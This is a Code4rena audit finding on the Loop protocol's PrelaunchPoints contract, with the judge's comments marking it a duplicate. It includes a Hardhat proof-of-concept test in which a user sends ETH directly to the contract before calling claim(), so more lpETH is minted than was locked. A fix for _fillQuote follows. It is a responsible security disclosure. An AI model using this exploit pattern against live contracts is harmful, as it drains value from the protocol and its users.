code-423n4 / 2024-05-loop-findings

4 stars 4 forks source link

Users can still "deposit" in order to mint more `lpETH` than they have locked during the lock-up period #40

Closed howlbot-integration[bot] closed 4 months ago

howlbot-integration[bot] commented 4 months ago

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L240-L266

Vulnerability details

Impact

The main invariant : "Deposits are active up to the lpETH contract and lpETHVault contract are set" is broken.

Even though the deposits are not active anymore, users are still able to gain the benefits from depositing and bypass the LRT lock-up period enforced by the protocol to get more lpETH than they are owed.

Proof of concept

The core idea of the PrelaunchPoints.sol contract is that users lock their LRT tokens for a certain period and are able to claim lpETH based upon their stake when this period comes to an end.

When administrators call setLoopAddresses() users can't deposit their LRT anymore and the amount of lpETH they are able to mint is settled.

These lpETH can be claimed using the claim() function after the startClaimDate set by administrators has been reached.

The issue is when the LRT tokens users are trying to claim() from is not ETH nor WETH, the LRT tokens are first swapped to native ETH through the _fillQuote() function.

Right after, the contract uses its new ETH balance to mint the corresponding amount of lpETH which should only be equal to the amount received from the swap.

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L252-L264

// Swap LRT to ETH
_fillQuote(IERC20(_token), userClaim, _data);
// Gets the contract's balance
claimedAmount = address(this).balance;
// Mints lpETH using the contract's balance
lpETH.deposit{value: claimedAmount}(_receiver);

However if a user transfers native ETH to the contract before calling claim(), the amount of lpETH to mint will include the amount of ETH transfered.

This will end up in the user artificially depositing without having to deal with the lock-up period, thus, minting more lpETH tokens than they should have based upon their initial stake.

In the below PoC, we are claiming 100% of our initial deposit but it is possible to claim way less and repeatitively execute the exploit to mint more lpETH

The following PoC will demonstrate the steps to take advantage of the issue.

Add this test to test/PrelaunchPoints0x.test.ts and execute it with

Make sure you have added your 0x API token to your .env file

npx hardhat test --grep "it should claim more"
it(`it should claim more`, async function () {
    let token = tokens[2]; // ezETH
    lockToken = (await ethers.getContractAt(
      "IERC20",
      token.address
    )) as unknown as IERC20

    // Impersonate whale
    const depositorAddress = token.whale
    await impersonateAccount(depositorAddress)
    const depositor = await ethers.getSigner(depositorAddress)
    await setBalance(depositorAddress, parseEther("100"))

    // Get pre-lock balances
    const tokenBalanceBefore = await lockToken.balanceOf(depositor)

    // Lock token in Prelaunch
    await lockToken.connect(depositor).approve(prelaunchPoints, sellAmount)
    await prelaunchPoints
      .connect(depositor)
      .lock(token.address, sellAmount, referral)

    // Get post-lock balances
    const tokenBalanceAfter = await lockToken.balanceOf(depositor)
    const claimToken = token.name == "WETH" ? ETH : token.address
    const lockedBalance = await prelaunchPoints.balances(
      depositor.address,
      claimToken
    )
    expect(tokenBalanceAfter).to.be.eq(tokenBalanceBefore - sellAmount)
    expect(lockedBalance).to.be.eq(sellAmount)

    // Activate claiming
    await prelaunchPoints.setLoopAddresses(lpETH, lpETHVault)
    const newTime =
      (await prelaunchPoints.loopActivation()) +
      (await prelaunchPoints.TIMELOCK()) +
      1n
    await time.increaseTo(newTime)
    await prelaunchPoints.convertAllETH()

    // Get Quote from 0x API
    const headers = { "0x-api-key": ZEROX_API_KEY }
    const quoteResponse = await fetch(
      `https://api.0x.org/swap/v1/quote?buyToken=${ETH}&sellAmount=${sellAmount}&sellToken=${token.address}`,
      { headers }
    )

    // Check for error from 0x API
    if (quoteResponse.status !== 200) {
      const body = await quoteResponse.text()
      throw new Error(body)
    }
    const quote = await quoteResponse.json()

    const exchange = quote.orders[0] ? quote.orders[0].source : ""
    const exchangeCode = exchange == "Uniswap_V3" ? 1 : 0

    // Claim
    console.log("Sending 1 ETH to PrelaunchPoints contract");
    let prelaunchAddress = await prelaunchPoints.getAddress();
    // User sends 1 ETH to the contract
    await depositor.sendTransaction({
      to: prelaunchAddress,
      value: ethers.parseEther("1.0"), // Sends exactly 1.0 ether
    });
    await prelaunchPoints
      .connect(depositor)
      .claim(claimToken, 100, exchangeCode, quote.data)

    expect(await prelaunchPoints.balances(depositor, token.address)).to.be.eq(
      0
    )

    const balanceLpETHAfter = await lpETH.balanceOf(depositor)
    expect(balanceLpETHAfter).to.be.gt((sellAmount * 95n) / 100n)
    console.log("LP ETH balance :", await lpETH.balanceOf(depositor.address));
    return;
})

Tools used

Manual analysis

Recommended mitigation steps

Modify the _fillQuote() function to return boughtETHAmount and use this amount to mint lpETH like such

function _fillQuote(IERC20 _sellToken, uint256 _amount, bytes calldata _swapCallData) internal returns(uint256) {
    // Track our balance of the buyToken to determine how much we've bought.
    uint256 boughtETHAmount = address(this).balance;

    require(_sellToken.approve(exchangeProxy, _amount));

    (bool success,) = payable(exchangeProxy).call{value: 0}(_swapCallData);
    if (!success) {
        revert SwapCallFailed();
    }

    // Use our current buyToken balance to determine how much we've bought.
    boughtETHAmount = address(this).balance - boughtETHAmount;
    emit SwappedTokens(address(_sellToken), _amount, boughtETHAmount);
    return boughtETHAmount;
}

function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
    internal
    returns (uint256 claimedAmount)
{
    uint256 userStake = balances[msg.sender][_token];
    if (userStake == 0) {
        revert NothingToClaim();
    }
    if (_token == ETH) {
        claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
        balances[msg.sender][_token] = 0;
        lpETH.safeTransfer(_receiver, claimedAmount);
    } else {
        uint256 userClaim = userStake * _percentage / 100;
        _validateData(_token, userClaim, _exchange, _data);
        balances[msg.sender][_token] = userStake - userClaim;

        // At this point there should not be any ETH in the contract
        // Swap token to ETH
        claimedAmount = _fillQuote(IERC20(_token), userClaim, _data);

        lpETH.deposit{value: claimedAmount}(_receiver);
    }
    emit Claimed(msg.sender, _token, claimedAmount);
}

Assessed type

Context

c4-judge commented 4 months ago

koolexcrypto marked the issue as duplicate of #6

c4-judge commented 3 months ago

koolexcrypto marked the issue as duplicate of #33

c4-judge commented 3 months ago

koolexcrypto marked the issue as satisfactory